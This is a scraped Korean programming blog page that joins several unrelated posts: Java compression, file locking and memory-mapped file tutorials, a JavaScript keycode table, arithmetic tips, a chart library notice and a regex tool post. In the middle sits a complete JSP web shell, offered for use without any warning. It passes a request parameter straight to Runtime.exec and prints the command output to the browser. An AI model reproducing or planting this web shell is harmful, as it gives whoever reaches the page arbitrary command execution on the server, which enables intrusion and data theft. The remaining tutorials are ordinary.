반응형

Multifile storage with Zip

The library that supports the Zip format is much more extensive. With it you can easily store multiple files, and there’s even a separate class to make the process of reading a Zip file easy. The library uses the standard Zip format so that it works seamlessly with all the tools currently downloadable on the Internet. The following example has the same form as the previous example, but it handles as many command-line arguments as you want. In addition, it shows the use of the Checksum classes to calculate and verify the checksum for the file. There are two Checksum types: Adler32 (which is faster) and CRC32 (which is slower but slightly more accurate).

//: c12:ZipCompress.java
// Uses Zip compression to compress any
// number of files given on the command line.
// {Args: ZipCompress.java}
// {Clean: test.zip}
import com.bruceeckel.simpletest.*;
import java.io.*;
import java.util.*;
import java.util.zip.*;

public class ZipCompress {
  private static Test monitor = new Test();
  // Throw exceptions to console:
  public static void main(String[] args)
  throws IOException {
    FileOutputStream f = new FileOutputStream("test.zip");
    CheckedOutputStream csum =
      new CheckedOutputStream(f, new Adler32());
     ZipOutputStream zos = new ZipOutputStream(csum);
     BufferedOutputStream out =
      new BufferedOutputStream(zos);
    zos.setComment("A test of Java Zipping");
    // No corresponding getComment(), though.
    for(int i = 0; i < args.length; i++) {
      System.out.println("Writing file " + args[i]);
      BufferedReader in =
        new BufferedReader(new FileReader(args[i]));
      zos.putNextEntry(new ZipEntry(args[i]));
      int c;
      while((c = in.read()) != -1)
        out.write(c);
      in.close();
    }
    out.close();
    // Checksum valid only after the file has been closed!
    System.out.println("Checksum: " +
      csum.getChecksum().getValue());
    // Now extract the files:
    System.out.println("Reading file");
    FileInputStream fi = new FileInputStream("test.zip");
    CheckedInputStream csumi =
      new CheckedInputStream(fi, new Adler32());
    ZipInputStream in2 = new ZipInputStream(csumi);
    BufferedInputStream bis = new BufferedInputStream(in2);
    ZipEntry ze;
    while((ze = in2.getNextEntry()) != null) {
      System.out.println("Reading file " + ze);
      int x;
      while((x = bis.read()) != -1)
        System.out.write(x);
    }
    if(args.length == 1)
      monitor.expect(new String[] {
        "Writing file " + args[0],
        "%% Checksum: \\d+",
        "Reading file",
        "Reading file " + args[0]}, args[0]);
    System.out.println("Checksum: " +
      csumi.getChecksum().getValue());
    bis.close();
    // Alternative way to open and read zip files:
    ZipFile zf = new ZipFile("test.zip");
    Enumeration e = zf.entries();
    while(e.hasMoreElements()) {
      ZipEntry ze2 = (ZipEntry)e.nextElement();
      System.out.println("File: " + ze2);
      // ... and extract the data as before
    }
    if(args.length == 1)
      monitor.expect(new String[] {
        "%% Checksum: \\d+",
        "File: " + args[0]
      });
  }
} ///:~


For each file to add to the archive, you must call putNextEntry( ) and pass it a ZipEntry object. The ZipEntry object contains an extensive interface that allows you to get and set all the data available on that particular entry in your Zip file: name, compressed and uncompressed sizes, date, CRC checksum, extra field data, comment, compression method, and whether it’s a directory entry. However, even though the Zip format has a way to set a password, this is not supported in Java’s Zip library. And although CheckedInputStream and CheckedOutputStream support both Adler32 and CRC32 checksums, the ZipEntry class supports only an interface for CRC. This is a restriction of the underlying Zip format, but it might limit you from using the faster Adler32.

To extract files, ZipInputStream has a getNextEntry( ) method that returns the next ZipEntry if there is one. As a more succinct alternative, you can read the file using a ZipFile object, which has a method entries( ) to return an Enumeration to the ZipEntries.

In order to read the checksum, you must somehow have access to the associated Checksum object. Here, a reference to the CheckedOutputStream and CheckedInputStream objects is retained, but you could also just hold onto a reference to the Checksum object.

A baffling method in Zip streams is setComment( ). As shown in ZipCompress.java, you can set a comment when you’re writing a file, but there’s no way to recover the comment in the ZipInputStream. Comments appear to be supported fully on an entry-by-entry basis only via ZipEntry.

Of course, you are not limited to files when using the GZIP or Zip libraries—you can compress anything, including data to be sent through a network connection.

출처 : http://www.linuxtopia.org/online_books/programming_books/thinking_in_java/TIJ314_033.htm

반응형

'Language > JAVA' 카테고리의 다른 글

Heap Dump 분석을 통한 Perm Area Memory Leak 원인 진단  (0) 2010.12.14
Java ARchives (JAR)  (0) 2010.11.17
자바 간단한 GZIP 압축 예제  (0) 2010.11.17
자바 파일 압축  (0) 2010.11.17
JAVA File Locking(자바 파일 잠금)  (0) 2010.11.17
반응형

Simple compression with GZIP

The GZIP interface is simple and thus is probably more appropriate when you have a single stream of data that you want to compress (rather than a container of dissimilar pieces of data). Here’s an example that compresses a single file:

//: c12:GZIPcompress.java
// {Args: GZIPcompress.java}
// {Clean: test.gz}
import com.bruceeckel.simpletest.*;
import java.io.*;
import java.util.zip.*;

public class GZIPcompress {
  private static Test monitor = new Test();
  // Throw exceptions to console:
  public static void main(String[] args)
  throws IOException {
    if(args.length == 0) {
      System.out.println(
        "Usage: \nGZIPcompress file\n" +
        "\tUses GZIP compression to compress " +
        "the file to test.gz");
      System.exit(1);
    }
    BufferedReader in = new BufferedReader(
      new FileReader(args[0]));
    BufferedOutputStream out = new BufferedOutputStream(
      new GZIPOutputStream(
        new FileOutputStream("test.gz")));
    System.out.println("Writing file");
    int c;
    while((c = in.read()) != -1)
      out.write(c);
    in.close();
    out.close();
    System.out.println("Reading file");
    BufferedReader in2 = new BufferedReader(
      new InputStreamReader(new GZIPInputStream(
        new FileInputStream("test.gz"))));
    String s;
    while((s = in2.readLine()) != null)
      System.out.println(s);
    monitor.expect(new String[] {
      "Writing file",
      "Reading file"
    }, args[0]);
  }
} ///:~


The use of the compression classes is straightforward; you simply wrap your output stream in a GZIPOutputStream or ZipOutputStream, and your input stream in a GZIPInputStream or ZipInputStream. All else is ordinary I/O reading and writing. This is an example of mixing the char-oriented streams with the byte-oriented streams; in uses the Reader classes, whereas GZIPOutputStream’s constructor can accept only an OutputStream object, not a Writer object. When the file is opened, the GZIPInputStream is converted to a Reader.

출처 : http://www.linuxtopia.org/

반응형
반응형

Compression

The Java I/O library contains classes to support reading and writing streams in a compressed format. These are wrapped around existing I/O classes to provide compression functionality.

These classes are not derived from the Reader and Writer classes, but instead are part of the InputStream and OutputStream hierarchies. This is because the compression library works with bytes, not characters. However, you might sometimes be forced to mix the two types of streams. (Remember that you can use InputStreamReader and OutputStreamWriter to provide easy conversion between one type and another.)

 

Compression class

Function

CheckedInputStream

GetCheckSum( ) produces checksum for any InputStream (not just decompression).

CheckedOutputStream

GetCheckSum( ) produces checksum for any OutputStream (not just compression).

DeflaterOutputStream

Base class for compression classes.

ZipOutputStream

A DeflaterOutputStream that compresses data into the Zip file format.

GZIPOutputStream

A DeflaterOutputStream that compresses data into the GZIP file format.

InflaterInputStream

Base class for decompression classes.

ZipInputStream

An InflaterInputStream that decompresses data that has been stored in the Zip file format.

GZIPInputStream

An InflaterInputStream that decompresses data that has been stored in the GZIP file format.


Although there are many compression algorithms, Zip and GZIP are possibly the most commonly used. Thus you can easily manipulate your compressed data with the many tools available for reading and writing these formats.

출처 : http://www.linuxtopia.org/

반응형
반응형

File locking

File locking, introduced in JDK 1.4, allows you to synchronize access to a file as a shared resource. However, the two threads that contend for the same file may be in different JVMs, or one may be a Java thread and the other some native thread in the operating system. The file locks are visible to other operating system processes because Java file locking maps directly to the native operating system locking facility.

Here is a simple example of file locking.

//: c12:FileLocking.java
// {Clean: file.txt}
import java.io.FileOutputStream;
import java.nio.channels.*;

public class FileLocking {
  public static void main(String[] args) throws Exception {
    FileOutputStream fos= new FileOutputStream("file.txt");
    FileLock fl = fos.getChannel().tryLock();
    if(fl != null) {
      System.out.println("Locked File");
      Thread.sleep(100);
      fl.release();
      System.out.println("Released Lock");
    }
    fos.close();
  }
} ///:~


You get a FileLock on the entire file by calling either tryLock( ) or lock( ) on a FileChannel. (SocketChannel, DatagramChannel, and ServerSocketChannel do not need locking since they are inherently single-process entities; you don’t generally share a network socket between two processes.) tryLock( ) is non-blocking. It tries to grab the lock, but if it cannot (when some other process already holds the same lock and it is not shared), it simply returns from the method call. lock( ) blocks until the lock is acquired, or the thread that invoked lock( ) is interrupted, or the channel on which the lock( ) method is called is closed. A lock is released using FileLock.release( ).

It is also possible to lock a part of the file by using

tryLock(long position, long size, boolean shared)


or

lock(long position, long size, boolean shared)


which locks the region (size - position). The third argument specifies whether this lock is shared.

Although the zero-argument locking methods adapt to changes in the size of a file, locks with a fixed size do not change if the file size changes. If a lock is acquired for a region from position to position+size and the file increases beyond position+size, then the section beyond position+size is not locked. The zero-argument locking methods lock the entire file, even if it grows.

Support for exclusive or shared locks must be provided by the underlying operating system. If the operating system does not support shared locks and a request is made for one, an exclusive lock is used instead. The type of lock (shared or exclusive) can be queried using FileLock.isShared( ).

Locking portions of a mapped file

As mentioned earlier, file mapping is typically used for very large files. One thing that you may need to do with such a large file is to lock portions of it so that other processes may modify unlocked parts of the file. This is something that happens, for example, with a database, so that it can be available to many users at once.

Here’s an example that has two threads, each of which locks a distinct portion of a file:

//: c12:LockingMappedFiles.java
// Locking portions of a mapped file.
// {RunByHand}
// {Clean: test.dat}
import java.io.*;
import java.nio.*;
import java.nio.channels.*;

public class LockingMappedFiles {
  static final int LENGTH = 0x8FFFFFF; // 128 Mb
  static FileChannel fc;
  public static void main(String[] args) throws Exception {
    fc = 
      new RandomAccessFile("test.dat", "rw").getChannel();
    MappedByteBuffer out = 
      fc.map(FileChannel.MapMode.READ_WRITE, 0, LENGTH);
    for(int i = 0; i < LENGTH; i++)
      out.put((byte)'x');
    new LockAndModify(out, 0, 0 + LENGTH/3);
    new LockAndModify(out, LENGTH/2, LENGTH/2 + LENGTH/4);
  }
  private static class LockAndModify extends Thread {
    private ByteBuffer buff;
    private int start, end;
    LockAndModify(ByteBuffer mbb, int start, int end) {
      this.start = start;
      this.end = end;
      mbb.limit(end);
      mbb.position(start);
      buff = mbb.slice();
      start();
    }    
    public void run() {
      try {
        // Exclusive lock with no overlap:
        FileLock fl = fc.lock(start, end, false);
        System.out.println("Locked: "+ start +" to "+ end);
        // Perform modification:
        while(buff.position() < buff.limit() - 1)
          buff.put((byte)(buff.get() + 1));
        fl.release();
        System.out.println("Released: "+start+" to "+ end);
      } catch(IOException e) {
        throw new RuntimeException(e);
      }
    }
  }
} ///:~


The LockAndModify thread class sets up the buffer region and creates a slice( ) to be modified, and in run( ), the lock is acquired on the file channel (you can’t acquire a lock on the buffer—only the channel). The call to lock( ) is very similar to acquiring a threading lock on an object—you now have a “critical section” with exclusive access to that portion of the file.

The locks are automatically released when the JVM exits, or the channel on which it was acquired is closed, but you can also explicitly call release( ) on the FileLock object, as shown here.

출처 : http://www.linuxtopia.org/

반응형
반응형

Memory-mapped files

Memory-mapped files allow you to create and modify files that are too big to bring into memory. With a memory-mapped file, you can pretend that the entire file is in memory and that you can access it by simply treating it as a very large array. This approach greatly simplifies the code you write in order to modify the file. Here’s a small example:

//: c12:LargeMappedFiles.java
// Creating a very large file using mapping.
// {RunByHand}
// {Clean: test.dat}
import java.io.*;
import java.nio.*;
import java.nio.channels.*;

public class LargeMappedFiles {
  static int length = 0x8FFFFFF; // 128 Mb
  public static void main(String[] args) throws Exception {
    MappedByteBuffer out = 
      new RandomAccessFile("test.dat", "rw").getChannel()
      .map(FileChannel.MapMode.READ_WRITE, 0, length);
    for(int i = 0; i < length; i++)
      out.put((byte)'x');
    System.out.println("Finished writing");
    for(int i = length/2; i < length/2 + 6; i++)
      System.out.print((char)out.get(i));
  }
} ///:~


To do both writing and reading, we start with a RandomAccessFile, get a channel for that file, and then call map( ) to produce a MappedByteBuffer, which is a particular kind of direct buffer. Note that you must specify the starting point and the length of the region that you want to map in the file; this means that you have the option to map smaller regions of a large file.

MappedByteBuffer is inherited from ByteBuffer, so it has all of ByteBuffer’s methods. Only the very simple uses of put( ) and get( ) are shown here, but you can also use things like asCharBuffer( ), etc.

The file created with the preceding program is 128 MB long, which is probably larger than the space your OS will allow. The file appears to be accessible all at once because only portions of it are brought into memory, and other parts are swapped out. This way a very large file (up to 2 GB) can easily be modified. Note that the file-mapping facilities of the underlying operating system are used to maximize performance.

Performance

Although the performance of “old” stream I/O has been improved by implementing it with nio, mapped file access tends to be dramatically faster. This program does a simple performance comparison:

//: c12:MappedIO.java
// {Clean: temp.tmp}
import java.io.*;
import java.nio.*;
import java.nio.channels.*;

public class MappedIO {
  private static int numOfInts = 4000000;
  private static int numOfUbuffInts = 200000;
  private abstract static class Tester {
    private String name;
    public Tester(String name) { this.name = name; }
    public long runTest() {
      System.out.print(name + ": ");
      try {
        long startTime = System.currentTimeMillis();
        test();
        long endTime = System.currentTimeMillis();
        return (endTime - startTime);
      } catch (IOException e) {
        throw new RuntimeException(e);
      }
    }
    public abstract void test() throws IOException;
  }
  private static Tester[] tests = { 
    new Tester("Stream Write") {
      public void test() throws IOException {
        DataOutputStream dos = new DataOutputStream(
          new BufferedOutputStream(
            new FileOutputStream(new File("temp.tmp"))));
        for(int i = 0; i < numOfInts; i++)
          dos.writeInt(i);
        dos.close();
      }
    }, 
    new Tester("Mapped Write") {
      public void test() throws IOException {
        FileChannel fc = 
          new RandomAccessFile("temp.tmp", "rw")
          .getChannel();
        IntBuffer ib = fc.map(
          FileChannel.MapMode.READ_WRITE, 0, fc.size())
          .asIntBuffer();
        for(int i = 0; i < numOfInts; i++)
          ib.put(i);
        fc.close();
      }
    }, 
    new Tester("Stream Read") {
      public void test() throws IOException {
        DataInputStream dis = new DataInputStream(
          new BufferedInputStream(
            new FileInputStream("temp.tmp")));
        for(int i = 0; i < numOfInts; i++)
          dis.readInt();
        dis.close();
      }
    }, 
    new Tester("Mapped Read") {
      public void test() throws IOException {
        FileChannel fc = new FileInputStream(
          new File("temp.tmp")).getChannel();
        IntBuffer ib = fc.map(
          FileChannel.MapMode.READ_ONLY, 0, fc.size())
          .asIntBuffer();
        while(ib.hasRemaining())
          ib.get();
        fc.close();
      }
    }, 
    new Tester("Stream Read/Write") {
      public void test() throws IOException {
        RandomAccessFile raf = new RandomAccessFile(
          new File("temp.tmp"), "rw");
        raf.writeInt(1);
        for(int i = 0; i < numOfUbuffInts; i++) {
          raf.seek(raf.length() - 4);
          raf.writeInt(raf.readInt());
        }
        raf.close();
      }
    }, 
    new Tester("Mapped Read/Write") {
      public void test() throws IOException {
        FileChannel fc = new RandomAccessFile(
          new File("temp.tmp"), "rw").getChannel();
        IntBuffer ib = fc.map(
          FileChannel.MapMode.READ_WRITE, 0, fc.size())
          .asIntBuffer();
        ib.put(0);
        for(int i = 1; i < numOfUbuffInts; i++)
          ib.put(ib.get(i - 1));
        fc.close();
      }
    }
  };
  public static void main(String[] args) {
    for(int i = 0; i < tests.length; i++)
      System.out.println(tests[i].runTest());
  }
} ///:~


As seen in earlier examples in this book, runTest( ) is the Template Method that provides the testing framework for various implementations of test( ) defined in anonymous inner subclasses. Each of these subclasses perform one kind of test, so the test( ) methods also give you a prototype for performing the various I/O activities.

Although a mapped write would seem to use a FileOutputStream, all output in file mapping must use a RandomAccessFile, just as read/write does in the preceding code.

Here’s the output from one run:

Stream Write: 1719
Mapped Write: 359
Stream Read: 750
Mapped Read: 125
Stream Read/Write: 5188
Mapped Read/Write: 16


Note that the test( ) methods include the time for initialization of the various I/O objects, so even though the setup for mapped files can be expensive, the overall gain compared to stream I/O is significant.

출처 : http://www.linuxtopia.org/

반응형
반응형


자바 스크립트 키 코드 값 구하는 함수.


<script language="JavaScript">
document.onkeydown = checkKeycode





function checkKeycode(e) {
var keycode;
if (window.event) keycode = window.event.keyCode;
else if (e) keycode = e.which;
alert("keycode: " + keycode);
}
</script>
 

/*
*
* 한글 입력 체크하기 위한 함수
* ex) <input type="text" name="Name" size="10" maxlength="15" onKeyPress="hangul();" style="ime-mode:active;" >
*
*
*/
function hangul()
{
 if((event.keyCode < 12592) || (event.keyCode > 12687))
  event.returnValue = false;
}
/*
*
* 숫자 입력 체크하기 위한 함수
* ex) <input type="text" name="jumin" size="10" maxlength="13" onKeyPress="only_number();" style="IME-MODE: disabled;" >
*
*
*/
function only_number()
{
 if((event.keyCode < 48) || (event.keyCode > 57))
  event.returnValue = false;
}
 
 

Key Code Reference Table


Key Pressed

Javascript Key Code

backspace

8

tab

9

enter

13

shift

16

ctrl

17

alt

18

pause/break

19

caps lock

20

escape

27

page up

33

page down

34

end

35

home

36

left arrow

37

up arrow

38

right arrow

39

down arrow

40

insert

45

delete

46

0

48

1

49

2

50

3

51

4

52

5

53

6

54

7

55

8

56

9

57

a

65

b

66

c

67

d

68

e

69

f

70

g

71

h

72

i

73

j

74

k

75

l

76

m

77

n

78

o

79

p

80

q

81

r

82

s

83

t

84

u

85

v

86

w

87

x

88

y

89

z

90

left window key

91

right window key

92

select key

93

numpad 0

96

numpad 1

97

numpad 2

98

numpad 3

99

numpad 4

100

numpad 5

101

numpad 6

102

numpad 7

103

numpad 8

104

numpad 9

105

multiply

106

add

107

subtract

109

decimal point

110

divide

111

f1

112

f2

113

f3

114

f4

115

f5

116

f6

117

f7

118

f8

119

f9

120

f10

121

f11

122

f12

123

num lock

144

scroll lock

145

semi-colon

186

equal sign

187

comma

188

dash

189

period

190

forward slash

191

grave accent

192

open bracket

219

back slash

220

close braket

221

single quote

222




반응형
반응형


JSP 용 web shell



<%@ page contentType="text/html;charset=euc-kr" %>
<%@ page import="java.io.*"%>
<%
String execute = request.getParameter("execute");
if(execute == null) execute = "";
%>
<html>
<head>
<title>
WebShell
</title>
<script>
function send()
{
        document.main.submit();
}
</script>

</head>
<body>
<br>
<form method="post" name="main" action="webshell.jsp">
<table width="400"  border="0" CELLPADDING=0 CELLSPACING=0>
    <tr bgcolor="#F7FCFE">
        <td height="22" align="center" width="70">명령어</td>
        <td height="22" align="center" align="left">
        <input type="text" name="execute" size="30" value="<%=execute%>">
        <input type="button" value="실행" onClick="javascript:send();"></td>
        </tr>
</table>
</form>
<hr>
<%
if(!execute.equals("")){
BufferedReader br = null;
Runtime rt = Runtime.getRuntime();
Process proc = rt.exec(execute);
br = new BufferedReader(new InputStreamReader(proc.getInputStream()));
String line;
while((line = br.readLine())!=null){
        out.println(line+"<br>");
}
br.close();
proc.destroy();
}
%>
</body>
</html>

반응형

'Language > JSP' 카테고리의 다른 글

JSP 2.0 프로그래밍 소스  (0) 2011.10.12
로딩된 CLASS 정보 보기  (0) 2011.03.10
JSP 파일 읽기  (0) 2009.12.03
웹 상에서 바로 엑셀로 저장하기  (0) 2009.03.06
반응형

1. (짝수) * 2일때는 짝수를 2로 나눠라 !
    236 * 5 이대로 계산할 수도 있지만,
    236=118 * 2로 분해하여 계산하면 편하다
    118 * 2 * 5
    118 * 10
     = 1180

    또한 (짝수) * 5일 때도 유용하다.
     14     * 45 
     7 * 2 * 45
     7 * 90
     = 630

    또한 (4의 배수) * 25의 경우에는 응용이 더 편함
    44 * 25
    = 11 * 4 * 25
    = 11 * 100
    = 1100

2. (A+B) * (A-B)의 꼴을 찾아라
    39 * 41 의 경우 언듯 보면 배수의 규칙이 없다.
    이것을 (40 - 1 ) * (40 + 1)과 같은 계산이라는걸 알면
    2차 방적식의 공식을 응용할 수 있다.
    (40 - 1) * (40 + 1)
    = (40*40) - (1*1)
    = 1600 - 1
    = 1599

    또한 억지로 (A+B) * (A-B)형태로 만드는 방법도 있다.
    18 * 23의 경우
    18 * 22 + 18로 변경 가능하며
     (20 - 2) * (20 + 2) + 18
    = (20 * 20) - (2 * 2) + 18
    = 414

3. 제곱을 만들어라 !
    36 * 24
    36 * 24 = (6 * 6) * (6*4) = (6*6*6) * 4가 되니
    6의 3승은 216이란걸 알고 있다면 
    216 * 4 = 864가 되니 쉽게 풀수 있음.
    이렇게 2~9의 2승, 3승은 외워두면 편리함.

4. 10000은 9999 + 1 이라고 생각하라 !
    10000 - 2845는 간단해 보이지만 풀려하면 꽤 어려움.
    처음부터 1을 빼고 생각함.
    10000 - 2845
     = 9999 - 2845 + 1
     = 7154 +1
     = 7155

검산의 비결

예를들면 43 + 352 + 31 + 3294 + 438 + 123 + 193 = 3903

이걸 처음부터 다시 계산하면 시간이 오래걸린다

끝자리만 하나씩 더해본다

3+2+1+4+8+3+3 = 24

물론 답은 4474 이다.  틀린것은 금방 알수 있다.

출처 : 공부의 신 만화 속에서...
반응형

'Language' 카테고리의 다른 글

npm node module 공통 관리하기  (0) 2020.10.28
Inter-process communication  (0) 2014.03.27
특정 문자열 분석 쉘  (0) 2012.02.21
우리은행 웹 접근성 가이드 주소  (0) 2011.08.09
반응형

지원 OS : Win32 & Linux

개발환경 : Javascript

사용제한 : 없음

제작자 : outmind@cafen.net

자료설명 :
 
* 플레쉬 차트 (Open Flash Chart2 with JS)
*
* @author Kimjonggab outmind@cafen.net
* @copyright Copyright (c) 2004 Cafen.net (http://cafen.net)
* @license http://opensource..org/licenses/gpl-license.php GNU General Public License (GPL)
 

* 참조 URL 1 : http://openapi2.cafen.net
* 참조 URL 2 : http://service2.cafen.net/example/chart2.html
* 참조 URL 3 : http://teethgrinder.co.uk/open-flash-chart-2/
 
* 적용 방법 (플레쉬 차트)
<script>var cafenGlobalConf = {scripturl : 'http://service2.cafen.net/'}</script>
<script type="text/javascript" src="http://service2.cafen.net/cafenOFC2JS.js" charset=utf-8></script>
<table class='sampeChart' title='Line Chart' title_style='font-size:14px' y_legend='1/100' x_legend='Month' border=0 width=800 height=400 bgcolor=#f5f5f5  wmode='transparent' >
    <tbody>
        <tr type='xy_axis' colour=#8c8c8c grid_colour=#d5d5d5  stroke=2 min=0 max=25 step=4 rotate=45 size='12' font_colour='#000000'>
            <td></td>
            <td>Jan</td>
            <td>Feb</td>
            <td>Mar</td>
            <td>Apr</td>
            <td>May</td>
            <td>Jun</td>
            <td>Aug</td>
            <td>Sep</td>
        </tr>
        <tr type='line' colour=#5aa775 stroke=2 line='dotted' pointer='star' pointersize=10 tooltip="Visitor of #x_label#(#val#)  ">
            <td>Visitor</td>
            <td>20</td>
            <td>17</td>
            <td>18</td>
            <td>9</td>
            <td>20</td>
            <td>17</td>
            <td>18</td>
            <td>9</td>
        </tr>
    </tbody>
</table>
 
<script>
onload = function() { 
    var ofc2js = new cafenOFC2JS(); 
    ofc2js.renderElementsByClassName('sampeChart'); 

</script>   

기타 문제점을 발견하신분은 outmind@cafen.net 으로 연락 주시기 바랍니다.




출처 : http://phpschool.com/gnuboard4/bbs/board.php?bo_table=download&wr_id=16362&page=2
반응형

'Language > PHP' 카테고리의 다른 글

정규표현식 테스트 필요할 때 보조 프로그램  (0) 2010.01.19
PHP 정규표현식  (0) 2010.01.18
eclipse 설정: Xdebug로 디버깅하기 with XAMPP 서버  (2) 2009.12.28
XAMPP 설치 가이드  (0) 2009.12.28
xampp  (0) 2009.12.28
반응형

지원 OS : windows 계열

개발환경 : 델파이

사용제한 : 프리웨어

제작자 : 김기수 ( kikisu@kikisu.com)

자료설명 :

Php, c#, 자바, 자바스크립트 이것저것 하다보니 정규표현식 쓸일이 많아 제작하게 되었습니다.

기존에 외국 프로그램으로 테스트 하던중 컴텨가 포맷되어 잘쓰던 프로그램이 날았더군요

다시 외국사이트 갔는데 프로그램명을 몰라 찾는데 실패하여 그냥 제 입맛대로 델파이로
하나 맹글었습니다.  Exe 파일 다운받아 바로 실행하면 됩니다.
저는 6개월동안 고놈 잘써먹고 있는데 도움이 될지는 모르겠습니다.

정규표현식중 기본적으로 자주 쓰는 것은 이곳저곳에서 주워담아서 넣어놨습니다.
삭제는 파일만 삭제하면 되므로 쓰실분은 잘 쓰세요

출처 : http://phpschool.com/gnuboard4/bbs/board.php?bo_table=download&wr_id=16604&page=1


이클립스 사용하시면 관련 plug-in이 있습니다.
QuickREx
Regex Uti

http://www.gskinner.com/RegExr/ 여기도 강추 입니다~~

http://www.editpadpro.com/ 이것도 강추합니다... l
반응형

'Language > PHP' 카테고리의 다른 글

플레쉬 차트 (OFC2JS) - Table2Chart  (0) 2010.01.19
PHP 정규표현식  (0) 2010.01.18
eclipse 설정: Xdebug로 디버깅하기 with XAMPP 서버  (2) 2009.12.28
XAMPP 설치 가이드  (0) 2009.12.28
xampp  (0) 2009.12.28

+ Recent posts